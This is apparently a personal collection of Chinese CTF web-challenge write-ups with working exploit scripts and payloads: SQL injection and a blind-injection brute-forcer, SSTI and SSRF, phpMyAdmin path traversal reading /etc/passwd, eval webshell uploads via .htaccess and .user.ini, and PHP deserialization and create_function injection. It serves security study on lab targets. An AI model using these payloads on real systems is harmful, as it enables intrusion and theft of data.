Web做题记录1 [强网杯 2019]高明的黑客 import  osimport  requestsimport  reimport  threadingimport  timeprint ('开始时间:  ' +  time.asctime( time.localtime(time.time()) ))s1=threading.Semaphore(100 )                                             filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"  os.chdir(filePath)                                                     requests.adapters.DEFAULT_RETRIES = 5                                  files = os.listdir(filePath) session = requests.Session() session.keep_alive = False                                               def  get_content (file ):    s1.acquire()                                                     print ('trying   ' +file+ '     ' + time.asctime( time.localtime(time.time()) ))     with  open (file,encoding='utf-8' ) as  f:                                         gets = list (re.findall('\$_GET\[\'(.*?)\'\]' , f.read()))             posts = list (re.findall('\$_POST\[\'(.*?)\'\]' , f.read()))     data = {}                                                             params = {}                                                             for  m in  gets:         params[m] = "echo 'xxxxxx';"      for  n in  posts:         data[n] = "echo 'xxxxxx';"      url = 'http://127.0.0.1/src/' +file     req = session.post(url, data=data, params=params)                 req.close()                                                     req.encoding = 'utf-8'      content = req.text          if  "xxxxxx"  in  content:                                             flag = 0          for  a in  gets:             req = session.get(url+'?%s=' %a+"echo 'xxxxxx';" )             content = req.text             req.close()                                                             if  "xxxxxx"  in  content:                 flag = 1                  break          if  flag != 1 :             for  b in  posts:                 req = session.post(url, data={b:"echo 'xxxxxx';" })                 content = req.text                 req.close()                                                                 if  "xxxxxx"  in  content:                     break          if  flag == 1 :                                                                 param = a         else :             param = b         print ('找到了利用文件: ' +file+"  and 找到了利用的参数:%s"  %param)         print ('结束时间:  '  + time.asctime(time.localtime(time.time())))     s1.release() for  i in  files:                                                               t = threading.Thread(target=get_content, args=(i,))    t.start() 
[BJDCTF2020]The mystery of ip XFF和client-ip都可。发现可以控制输入
可以进行逻辑运算{7*8}
client-ip:{system('ls')}发现可以,尝试cat /flag
[GWCTF 2019]我有一个数据库 dirb扫描到后台有phpmyadmin目录,访问一下
版本为4.81,经查询,存在远程文件读取漏洞
直接上payload读取passwd文件
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 
读取成功,尝试读取flag文件
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag 
网鼎杯 2020 朱雀组NMap 知识点
‘  -oG hack.php’
回显hacker 经过调查 可知 php 被过滤 于是 使用短标签绕过
' <?= @eval($_POST["hack"]);?> -oG hack.phtml' 
成功写入 
访问
用蚁剑连接
[第二章 web进阶]SSRF Training <?php  highlight_file(__FILE__ ); function  check_inner_ip ($url     $match_result =preg_match('/^(http|https)?:\/\/.*(\/)?.*$/' ,$url );      if  (!$match_result )      {          die ('url fomat error' );      }      try       {          $url_parse =parse_url($url );      }      catch (Exception  $e )      {          die ('url fomat error' );          return  false ;      }      $hostname =$url_parse ['host' ];      $ip =gethostbyname($hostname );      $int_ip =ip2long($ip );      return  ip2long('127.0.0.0' )>>24  == $int_ip >>24  || ip2long('10.0.0.0' )>>24  == $int_ip >>24  || ip2long('172.16.0.0' )>>20  == $int_ip >>20  || ip2long('192.168.0.0' )>>16  == $int_ip >>16 ;  }  function  safe_request_url ($url           if  (check_inner_ip($url ))      {          echo  $url .' is inner ip' ;      }      else       {         $ch  = curl_init();          curl_setopt($ch , CURLOPT_URL, $url );          curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 );          curl_setopt($ch , CURLOPT_HEADER, 0 );          $output  = curl_exec($ch );          $result_info  = curl_getinfo($ch );          if  ($result_info ['redirect_url' ])          {              safe_request_url($result_info ['redirect_url' ]);          }          curl_close($ch );          var_dump($output );      }        }  $url  = $_GET ['url' ]; if (!empty ($url )){     safe_request_url($url );  }  ?> 
$url=http://a:@127.0.0.1:80@baidu.com/flag.php 
[Flask]SSTI payload
{% for  c in  [].__class__.__base__.__subclasses__() %} {% if  c.__name__ == 'catch_warnings'  %}   {% for  b in  c.__init__.__globals__.values() %}   {% if  b.__class__ == {}.__class__ %}     {% if  'eval'  in  b.keys() %}       {{ b['eval' ]('__import__("os").popen("id").read()' ) }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %} 
Hello HOSTNAME=d43aec63194a PYTHON_PIP_VERSION=19.3.1 HOME=/root GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/ffe826207a010164265d9cc807978e3604d18ca0/get-pip.py  SERVER_SOFTWARE=gunicorn/20.0.0 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.6.9 PWD=/app PYTHON_GET_PIP_SHA256=b86f36cc4345ae87bfd4f10ef6b2dbfa7a872fbff70608a1e43944d283fd0eee FLAG=flag{044b09a2-bb0b-4dcb-abac-f4ceb70ff40e} }
[De1CTF 2019]SSRF Me from  flask import  Flaskfrom  flask import  requestimport  socketimport  hashlibimport  urllibimport  sysimport  osimport  jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class  Task :    def  __init__ (self, action, param, sign, ip ):         self.action = action         self.param = param         self.sign = sign         self.sandbox = md5(ip)         if (not  os.path.exists(self.sandbox)):                       os.mkdir(self.sandbox)     def  Exec (self ):         result = {}         result['code' ] = 500          if  (self.checkSign()):             if  "scan"  in  self.action:                 tmpfile = open ("./%s/result.txt"  % self.sandbox, 'w' )                 resp = scan(self.param)                 if  (resp == "Connection Timeout" ):                     result['data' ] = resp                 else :                     print  resp                     tmpfile.write(resp)                     tmpfile.close()                 result['code' ] = 200              if  "read"  in  self.action:                 f = open ("./%s/result.txt"  % self.sandbox, 'r' )                 result['code' ] = 200                  result['data' ] = f.read()             if  result['code' ] == 500 :                 result['data' ] = "Action Error"          else :             result['code' ] = 500              result['msg' ] = "Sign Error"          return  result     def  checkSign (self ):         if  (getSign(self.action, self.param) == self.sign):             return  True          else :             return  False  @app.route("/geneSign" , methods=['GET' , 'POST' ] def  geneSign ():    param = urllib.unquote(request.args.get("param" , "" ))     action = "scan"      return  getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] def  challenge ():    action = urllib.unquote(request.cookies.get("action" ))     param = urllib.unquote(request.args.get("param" , "" ))     sign = urllib.unquote(request.cookies.get("sign" ))     ip = request.remote_addr     if (waf(param)):         return  "No Hacker!!!!"      task = Task(action, param, sign, ip)     return  json.dumps(task.Exec()) @app.route('/'  def  index ():    return  open ("code.txt" ,"r" ).read() def  scan (param ):    socket.setdefaulttimeout(1 )     try :         return  urllib.urlopen(param).read()[:50 ]     except :         return  "Connection Timeout"  def  getSign (action, param ):    return  hashlib.md5(secert_key + param + action).hexdigest() def  md5 (content ):    return  hashlib.md5(content).hexdigest() def  waf (param ):    check=param.strip().lower()      if  check.startswith("gopher" ) or  check.startswith("file" ):         return  True      else :         return  False  if  __name__ == '__main__' :    app.debug = False      app.run(host='0.0.0.0' ) 
审计一下源码 这三个是要传的参数
action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) 
将三个参数传入TASK类中 调用TASK类中的EXEC方法
分析下三个参数:
if  "read"  in  self.action:                f = open ("./%s/result.txt"  % self.sandbox, 'r' ) def  geneSign ():    param = urllib.unquote(request.args.get("param" , "" ))     action = "scan"      return  getSign(action, param) 
第二个参数传入一个文件名根据提示是flag.txt
由于我们并没有secert_key的值,所以本来是没得办法的。
但是/geneSign路由,暴露了getSign函数,
我们可以根据路由getSign去得到正确的sign值。
访问一下geneSign传入参数param=flag.txtread得到一串MD5值:
f8c0d736fa2e823c2b488c82561c4732
然后让flag.txtread + scan拼接加密md5即为sign
/Delta?param=flag.txt
Cookie:action=readscan;sign=f8c0d736fa2e823c2b488c82561c4732;
[网鼎杯 2018]Fakebook robots.txt
看到
/user.php.bak
下载后
<?php class  UserInfo     public  $name  = "" ;     public  $age  = 0 ;     public  $blog  = "" ;     public  function  __construct ($name , $age , $blog       {        $this ->name = $name ;         $this ->age = (int )$age ;         $this ->blog = $blog ;     }     function  get ($url       {        $ch  = curl_init();         curl_setopt($ch , CURLOPT_URL, $url );         curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 );         $output  = curl_exec($ch );         $httpCode  = curl_getinfo($ch , CURLINFO_HTTP_CODE);         if ($httpCode  == 404 ) {             return  404 ;         }         curl_close($ch );         return  $output ;     }     public  function  getBlogContents  (      {        return  $this ->get($this ->blog);     }     public  function  isValidBlog  (      {        $blog  = $this ->blog;         return  preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog );     } } 
join,即注册一个用户
点击自己的username,点击之后,观察url可能存在get注入。是数字型注入。union select 发现有waf,用//即可绕过。union / / select.回显位置是第二位,往下注注注。
发现爆出路径:/var/www/html/
o:8:”UserInfo”:3:{s:4:”name”:1:”a”;s:3:”age”:i:1:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}
因为blog在第四位,所以paylaod:
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 
注入后blog栏显示file:///var/www/html/flag.php,此时即代表注册成功。查看源码:
iframe标签中读取了flag.php中的内容。flag即出现
[SWPU2019]Web1 知识点 
二次注入
-1 ' select * from ad where title = ' $title' limit 0,1 
过滤了空格用/**/绕
过滤了报错注入函数,用联合注入
过滤了or不能用order by 判断字段数和查询information_schema 这个库判断用group by
过滤了注释符又要闭合单引号 用group by 1’,1’
用group by 查询列数 # 判断多少字段 -1 'group/**/by/**/22,' 1 -1 'group/**/by/**/23,' 1 # 可得字段为22 个 
利用sys.schema_auto_increment_columns 
 
-1 'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 22 
这里数据库为MaeiaDB,可用mysql.innodb_table_stats查表名 
 
-1 'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 22 # 结果 FLAG_TABLE,news,users,gtid_slave_pos,ads,users 
无列名注入 1 'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 1 
[GXYCTF2019]BabySQli 知识点
直接可以用联合注入,表里有三列
进行用联合注入,回显wrong user!,说明用户不在第一列
尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列
1 ' union select 1,' admin',3# 
0’ union select 0,’admin’,’e10adc3949ba59abbe56e057f20f883e’#
密码输入
flag{bbdf4c9d-3ae8-42a4-9f0f-b1ebd92537ae}
[CISCN2019 华北赛区 Day2 Web1]Hack World 知识点 
一开始就给出了我们所需的表名和列名,然后提交一个id
当提交1和2的时候,查询出了两句,其他则报错
尝试输入一些常规的sql注入查询语句,结果都被过滤了
显示 SQL Injection Checked. 
尝试异或注入 ,输入1^1^1,返回了id=1的结果
输入1^(ascii(substr((select(flag)from(flag)),1,1))>x)^1,这里x是一个未知数,不断改变x的值,便可根据回显逐渐爆破出flag 
大佬的脚本
import  requestsimport  timeimport  reurl = 'http://d7b94d40-8ccb-4ead-9ace-89662e7f29c7.node3.buuoj.cn/index.php'  flag = ''  for  i in  range (1 , 43 ):    max  = 127      min  = 0      for  c in  range (0 , 127 ):         s = (int )((max +min )/2 )         payload = '1^(ascii(substr((select(flag)from(flag)),'  + \             str (i)+',1))>' +str (s)+')'          r = requests.post(url, data={'id' : payload})         time.sleep(0.005 )         if  'Hello, glzjin wants a girlfriend.'  in  str (r.content):             max  = s         else :             min  = s         if ((max -min ) <= 1 ):             flag += chr (max )             break  print (flag)
[GXYCTF2019]禁止套娃 知识点 
无参数RCE
什么都看不到,先扫一下目录
发现.git 目录 是git泄露
<?php include  "flag.php" ;echo  "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){    if  (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) {         if (';'  === preg_replace('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) {             if  (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) {                                  @eval ($_GET ['exp' ]);             }             else {                 die ("还差一点哦!" );             }         }         else {             die ("再好好想想!" );         }     }     else {         die ("还想读flag,臭弟弟!" );     } } ?> 
读下代码
第一个if php伪协议用不了 第二个if (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数 第三个if et info等函数也用不了 典型的无参数rce 简单来说 我们需要用全局变量来rce
解题 以一般的思路来说 肯定是要先scandir的 没有scandir没办法往下做 但是问题是scandir需要一个目录 而如果扫描当前目录的话需要一个”.” 第一部的预想就是要构造一个”.”localeconv() 函数默认截取第一个
即得 ?exp=print_r(scandir(current(localeconv())))
现在我们只是拿到了这个数组的键值 还没有拿到这个数组对应flag键值的具体值
array_flip() 
只能通过highlight_file或者show_source flag.php的方法 简单来说就是要一个单独的flag.php这个倒数第二个值
array_rand() 
payload
?exp=show_scoure(array_rand(array_flip(scandir(current(localconv())))));
或者
?exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localconv()))))));
array_reverse() 简单来说就是逆序输出数组 但是我们的那个flag在倒数第二个 所以我们还需要一个next() 顾名思义 输出下一个
payload
?exp=print_r(highlight_file(next(array_reverse(scandir(pos(localeconv())))));
本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php
payload
?exp=show_source(session_id(session_start()));
[BJDCTF2020]Mark loves cat 知识点 
进网站什么都找不到,扫一下目录
发现是.git源码泄露
用githack下载查看源码
$flag  = file_get_contents('/flag' );
include  'flag.php' ;$yds  = "dog" ;$is  = "cat" ;$handsome  = 'yds' ;foreach ($_POST  as  $x  => $y ){    $$x  = $y ; } foreach ($_GET  as  $x  => $y ){    $$x  = $$y ; } foreach ($_GET  as  $x  => $y ){    if ($_GET ['flag' ] === $x  && $x  !== 'flag' ){         exit ($handsome );     } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){    exit ($yds ); } if ($_POST ['flag' ] === 'flag'   || $_GET ['flag' ] === 'flag' ){    exit ($is ); } echo  "the flag is: " .$flag ;
可以发现代码中有变量覆盖漏洞
通过观察发现没有办法绕过到达最后的echo 出flag
但exit也可以打印没有打印$flag 我们可以变量覆盖
观察第一个exit GET参数中flag的值强等于某个变量($x)而且这个变量强不等于flag
即要存在又不能存在,不可能
观察第二个exit 不存在post或get型的flag参数
我们想要通过单纯的post参数搞定它是不可能的,因为post处的变量覆盖是让它变成我们可控的值,所以不能
我们可以通过单纯的get或者get+post搞定
get传参 yds=flag;
观察第三个exit post型的flag强等于flag 或者get型的flag强等于flag
那我们就先从post型flag=flag开始:
我们post的数据,会在这一步,把原来的$flag的值改变,因为$x=flag,$y=flag,然后带进去变成了$flag=flag,原来的flag值没了,这条路不通:
我们试试get型的flag=flag:
[网鼎杯 2020 青龙组]AreUSerialz <?php   class  FileHandler        protected  $op =2 ;     protected  $filename ="php://filter/read=convert.base64-encode/resource=flag.php" ;     protected  $content ;       function  __construct (         $op  = "1" ;         $filename  = "/tmp/tmpfile" ;         $content  = "Hello World!" ;              }       public  function  process (         if ($this ->op == "1" ) {             $this ->write();         } else  if ($this ->op == "2" ) {             $res  = $this ->read();             $this ->output($res );         } else  {             $this ->output("Bad Hacker!" );         }     }       private  function  write (         if (isset ($this ->filename) && isset ($this ->content)) {             if (strlen((string )$this ->content) > 100 ) {                 $this ->output("Too long!" );                 die ();             }             $res  = file_put_contents($this ->filename, $this ->content);             if ($res ) $this ->output("Successful!" );             else  $this ->output("Failed!" );         } else  {             $this ->output("Failed!" );         }     }       private  function  read (         $res  = "" ;         if (isset ($this ->filename)) {             $res  = file_get_contents($this ->filename);         }         return  $res ;     }       private  function  output ($s          echo  "[Result]: <br>" ;         echo  $s ;     }       function  __destruct (         if ($this ->op === "2" )             $this ->op = "1" ;         $this ->content = "" ;              }   } $A =new  FileHandler();$B =serialize($A );echo  $B ;
接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件
$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
 在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
<?php include ("flag.php" );class  FileHandler      protected  $op  = 2 ;     protected  $filename  = "php://filter/read=convert.base64-encode/resource=flag.php" ;     protected  $content  = "A" ; } $a  = new  FileHandler();echo  serialize($a );
payload
str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:7:”content”;s:1:”A”;}
[SUCTF 2019]CheckIn 知识点:
.user.ini。
auto_append_file : 指定一个文件 , 自动包含在要执行的文件末尾 , 类似与在可执行文件末尾调用了 require() 函数 
auto_prepend_file : 指定一个文件 , 自动包含在要执行的文件开头 , 类似与在可执行文件开头调用了 require() 函数 
 
利用.user.ini漏洞的条件 
服务器脚本语言为PHP 
服务器使用CGI/FastCGI模式 
上传目录下要有可执行的php文件  
该题对
exif_imagetype:not imag  这是因为题目用exif_imagetype进行了检测,判断是否是图片文件。
user.ini文件 其中有两个配置,可以用来制造后门:
gif89a 为图片头
GIF89a auto_prepend_file=shell.gif 
GIF89a? <script language="php" >eval ($_GET ['shell' ])</script> 
然后就可以用菜刀连了。但是它会不时的清除文件,所以链接的不是很稳定,甚至有是时候连不上,但我们可以在网页执行命令。所以我第一次就是在页面执行了命令,找到了flag:
eg:
http://70446d7d-2c88-4c36-92d2-eedf67a8703b.node3.buuoj.cn/uploads/7da8cd499a49031eb076ec11e9e2aab3/index.php?shell=var_dump(file_get_contents("/flag") );
[MRCTF2020]你传你🐎呢 最初的htaccess文件是不能上传的,我改了Content-Type后才能上传,但说明能上传htaccess文件,
htaccess文件:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
原理:他没有过滤 .htaccess后缀,我们可以构建一个htaccess配置文件,让所有格式文件都解析为php,然后再上传图片马(只要后缀是允许的,随便都可以)就会被解析了。
文件内容如下
SetHandler application/x-httpd-php 
上传.htaccess文件
/var/www/html/upload/f3e466d5e8513076db058202a1b8722d/.htaccess succesfully uploaded!
上传.jpg文件马
/var/www/html/upload/f3e466d5e8513076db058202a1b8722d/php.jpg succesfully uploaded!
最后用蚁剑连
http://c2a02cc3-bae8-4b13-8387-c1f6cb7fbc7a.node3.buuoj.cn/upload/f3e466d5e8513076db058202a1b8722d/php.jpg 
[强网杯 2019]Upload 注册
登录
传了一个gif
看到可以访问目录
cookiebase64解密 得序列化
怎么是png
a:5:{s:2:”ID”;i:3;s:8:”username”;s:7:”admin  “;s:5:”email”;s:12:”123456@1.com “;s:8:”password”;s:32:”21232f297a57a5a743894a0e4a801fc3”;s:3:”img”;s:79:”../upload/0392412bc2d05c02c9fc9c42c86c3fd3/9185d1d0b5e4e9faec46f10be786ecb8.png”;}
试试能不能页面跳转
a:5:{s:2:”ID”;i:3;s:8:”username”;s:7:”admin  “;s:5:”email”;s:12:”123456@1.com “;s:8:”password”;s:32:”21232f297a57a5a743894a0e4a801fc3”;s:3:”img”;s:31:”../../../../../../../etc/passwd”;}
<?php  namespace  app /web /controller ;class  Profile     public  $checker =0 ;     public  $filename_tmp ="../public/upload/0392412bc2d05c02c9fc9c42c86c3fd3/9185d1d0b5e4e9faec46f10be786ecb8.png"      public  $filename ="../public/upload/0392412bc2d05c02c9fc9c42c86c3fd3/qwe.php" ;     public  $upload_menu ;     public  $ext =1 ;     public  $img ;     public  $except =array ('index' =>'upload_img' ); } class  Register     public  $checker ;     public  $registed =0 ; } $a =new  Register()$a ->checker=new  Profile();$a ->checker->checker=0 ;echo  base64_encode(serialize($a ))
[MRCTF2020]Ezpop __construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
此处用到的主要是__toString(),__wakeup(),__get(),__invoke(),
2.
类中,private变量与protected变量序列化后,变量名会有些异常,
private变量经反序列化后为\x00 + 类名 + \x00 + 变量名;
protected变量经反序列化后为,\x00 + * + \x00 + 变量名;
3.
列化操作只是保存对象(不是类)的变量,不保存对象的方法,其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的。我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法。
<?php class  Modifier      protected   $var ;     public  function  append ($value          include ($value );     }     public  function  __invoke (         $this ->append($this ->var);     } } class  Show     public  $source ;     public  $str ;     public  function  __construct ($file ='index.php'          $this ->source = $file ;         echo  'Welcome to ' .$this ->source."<br>" ;     }     public  function  __toString (         return  $this ->str->source;     }     public  function  __wakeup (         if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) {             echo  "hacker" ;             $this ->source = "index.php" ;         }     } } class  Test     public  $p ;     public  function  __construct (         $this ->p = array ();     }     public  function  __get ($key          $function  = $this ->p;         return  $function ();     } } if (isset ($_GET ['pop' ])){    @unserialize($_GET ['pop' ]); } else {    $a =new  Show;     highlight_file(__FILE__ ); } 
<?php class  Modifier      protected   $var  = "php://filter/convert.base64-encode/resource=flag.php" ; } class  Show     public  $source ;     public  $str ;     public  function  __construct ($file          $this ->source = $file ;             } } class  Test     public  $p ;     } $a  = new  Show();$a ->str = new  Test();$a ->str->p = new  Modifier();$b  = new  Show($a );echo  urlencode(serialize($b ));
得到序列化
O:4:”Show”:2:{s:6:”source”;O:4:”Show”:2:{s:6:”source”;N;s:3:”str”;O:4:”Test”:1:{s:1:”p”;O:8:”Modifier”:1:{s:6:”*var”;s:52:”php://filter/convert.base64-encode/resource=flag.php”;}}}s:3:”str”;N;}
进行urlencode
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
得到base64
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezQ3MWE5ZmQ0LWUzZGYtNDRiNi04ZDhjLTU4Mjc0MGU4M2ZmYn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
<?php class  Flag     private  $flag = "flag{471a9fd4-e3df-44b6-8d8c-582740e83ffb}" ; } echo  "Help Me Find FLAG!" ;?> 
[BSidesCF 2020]Had a bad day 观察URL 修改category值看到报错 include
文件包含漏洞
?category=php://filter/convert.base64-encode/resource=index
<?php     $file  = $_GET ['category' ]; 	if (isset ($file )) 	{ 	if ( strpos( $file , "woofers"  ) !==  false  || strpos( $file , "meowers"  ) !==  false  || strpos( $file , "index" )){ 	include  ($file  . '.php' );     } 	else { 	echo  "Sorry, we currently only support woofers and meowers." ; 		} 	} ?> 
需要对伪协议进行嵌套,加入一个可以通过的关键词然后进行flag读取
?category=php://filter/convert.base64-encode/resource=woofers/../flag
或
?category=php://filter/convert.base64-encode/index/resource=flag
[BJDCTF2020]EzPHP 知识点 
绕过QUERY_STRING url编码 
preg_match('/^$/')用换行符%0a绕过$_REQUEST绕过file_get_contents函数绕过 
sha1数组绕过 
create_function注入 
 
GFXEIM3YFZYGQ4A= base32解码 得到1nD3x.php
看源码六个if语句
最后包含flag.php
第一个if if ($_SERVER ) {									if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]))          die ('You seem to want to do something bad?' );  }  
绕过**’QUERY_STRING’**,$_SERVER['QUERY_STRING']不会进行urldecode,$_GET[]会,用url编码绕过
$_SERVER[“QUERY_STRING”] => “id=1”,查询字符串,不存在为” “ 
 
第二个if if  (!preg_match('/http|https/i' , $_GET ['file' ])) {    if  (preg_match('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) {          $file  = $_GET ["file" ];          echo  "Neeeeee! Good Job!<br>" ;     }  } else  die ('fxck you! What do you want to do ?!' ); 
preg_match('/^$/')用换行符%0a绕过
debu=aqua_is_cute%0a
第三个if if ($_REQUEST ) {     foreach ($_REQUEST  as  $value ) {          if (preg_match('/[a-zA-Z]/i' , $value ))               die ('fxck you! I hate English!' );      }  }  
$_REQUEST绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高
第四个if if  (file_get_contents($file ) !== 'debu_debu_aqua' )    die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); 
file_get_contents`函数,用data伪协议绕过`file=data://text/plain,debu_debu_aqua 
第五个if if  ( sha1($shana ) === sha1($passwd ) && $shana  != $passwd  ){    extract($_GET ["flag" ]);     echo  "Very good! you know my password. But what is flag?<br>" ; } else {     die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } 
sha1()函数无法处理数组,$shana和$passwd都是数组时都是false。$shana[]=1&$passwd[]=2
exc
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &shana[]=1&passwd[]=2
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
第六个if if (preg_match('/^[a-z0-9]*$/isD' , $code ) ||preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) {      die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" );  } else  {      include  "flag.php" ;     $code ('' , $arg );  } 
$code和$arg可控,利用$code('',$arg)进行create_function注入
function a('',$arg){     return $arg } 
$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容
function a('',$arg){     return }代码;// } 
构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
get_defined_vars()打印出所有定义的变量与变量值
payload应为
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());// post: file=1&debu=2 
最后的flag在rea1fl4g.php中,使用require加base64编码加取反替代var_dump(get_defined_vars())require(php://filter/convert.base64-encode/resource=rea1fl4g.php)
用require读取flag,用~绕过正则
<?php $s  = 'php://filter/convert.base64-encode/resource=rea1fl4g.php' ;echo  urlencode(~$s );?> 
最终payload
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// 
同时postfile=1&debu=2
